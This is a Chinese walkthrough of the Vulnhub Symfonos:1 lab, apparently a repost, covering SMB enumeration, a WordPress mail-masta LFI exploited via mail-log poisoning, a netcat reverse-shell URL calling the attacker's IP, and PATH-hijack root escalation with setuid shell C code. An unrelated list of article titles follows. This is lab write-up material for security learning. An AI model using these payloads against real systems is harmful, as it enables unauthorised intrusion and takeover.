Vulnhub-靶机-SYMFONOS: 1
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/symfonos-1,322/
使用nmap扫描 nmap -n -p- -sC -sV 192.168.56.106 -o symfonos1.nmap
根据扫描结果发现开放了smb服务模块,那我们使用下面命令进行枚举扫描下
enum4linux -a -o 192.168.56.106 | tee 192.168.56.106.smb
最终的结果会保存在文件192.168.56.106.smb 根据枚举的结果得知两个可以利用的共享文件夹,分别为anonymous和helios
既然知道了共享文件夹,那么在kali环境下使用命令smbclient去访问看看
smbclient -L //192.168.56.106 列举目标的共享文件夹
连接匿名的文件夹anonymous
smbclient //192.168.56.106/anonymous 此处密码为空使用命令enum4linux枚举出来的结果也有体现
查看文件attention.txt得知文件内容存在如下信息
根据上述信息可以知道有一个文件夹存在密码,这密码就有可能是上述提示的3个密码中的一个,所以这里尝试访问另一个文件夹helios,使用上面的3个密码去尝试,最终确认密码是qwerty
smbclient //192.168.56.106/helios -U helios
共享文件夹helios有两个文件,查看这两个文件得到如下结果:
最终得到web目录中含有/h3l105 我们尝试访问目标web应用
点击访问里面的url发现会跳转至一个域名symfonos.local ,鼠标放在上图标注的位置在浏览器的左下角也能看到跳转的域名,那么我们本地绑定hosts
绑定好之后看到目标web页面的最底下Log in跳转页面是wordpress的登录界面,看主题显示信息也觉得是wordpress,逐尝试使用wpscan进行扫描下,看是否存在漏洞
wpscan --url http://symfonos.local/h3l105/
因为本地kali没有注册WPVulnDB 的API,所以无法使用wpscan扫描出对于的漏洞信息,不过我看了下互联网的演示资料提示得知存在LFI漏洞,可以读文件,执行php文件
https://www.exploit-db.com/exploits/40290
https://cxsecurity.com/issue/WLB-2016080220
https://wpvulndb.com/vulnerabilities/8609
LFI漏洞复现
漏洞利用成功,那么可以反弹shell,同时根据上述的结果可以知道目标靶机存在用户helios,现在就是写文件,通过文件包含拿shell,因为刚开始的时候我们使用nmap扫描出来有25端口,有邮件服务器,尝试利用此邮件服务器给用户helios写一封一句话小马shell,具体如下:
上述操作成功之后,尝试文件包含看看,是否执行成功
发现执行成功,然后确认是否存在nc命令,通过执行which nc 确认存在此命令,尝试使用nc反弹shell ,执行如下命令:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&bmfx=nc -e /bin/bash 192.168.56.101 8833
本地kali监听8833端口,成功反弹shell
拿到反弹shell开始提权看看,使用如下命令查找目标靶机哪些命令存在suid权限
find / -perm -4000 2>/dev/null
最终查到可执行文件/opt/statuscheck 在执行的过程中调用了curl命令,这里可以通过劫持curl命令来达到提权的目的,具体详细跟环境变量提权的信息请查看:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
我这里提权就直接使用提权的代码编译一个名称为curl的命令进行提权,具体代码如下:
int main(void) { setgid(0); setuid(0); execl("/bin/sh","sh",0); }
将上述代码保存为curl.c 然后使用gcc编译器进行编译
在tmp目录下生成好curl命令,那么我们加下全局环境变量
执行/opt/statuscheck 成功提权为root权限
原文地址:https://www.cnblogs.com/autopwn/p/13680125.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Logstash:多个配置文件(conf)
- ArrayList 源码分析
- IllegalArgumentException:argument type mismatch
- String equals()方法 源码分析
- centos7宝塔环境安装VeryNginx waf系统实现高级防火墙功能
- 使用curl探测访问响应时长
- dnspod通过接口解析本地ip python脚本
- 如何修复WordPress死亡白屏(WSoD)故障问题
- linux: 添加一个IP地址
- Nginx简易防CC策略规则
- 如何编写和优化WordPress网站的Robots.txt
- 如何处理WordPress网站404状态死链
- (三)RecyclerView简单滑动场景分析
- AWS EC2实例开启IPv6方法 阅读模式
- centos7宝塔环境安装VeryNginx waf系统实现高级防火墙功能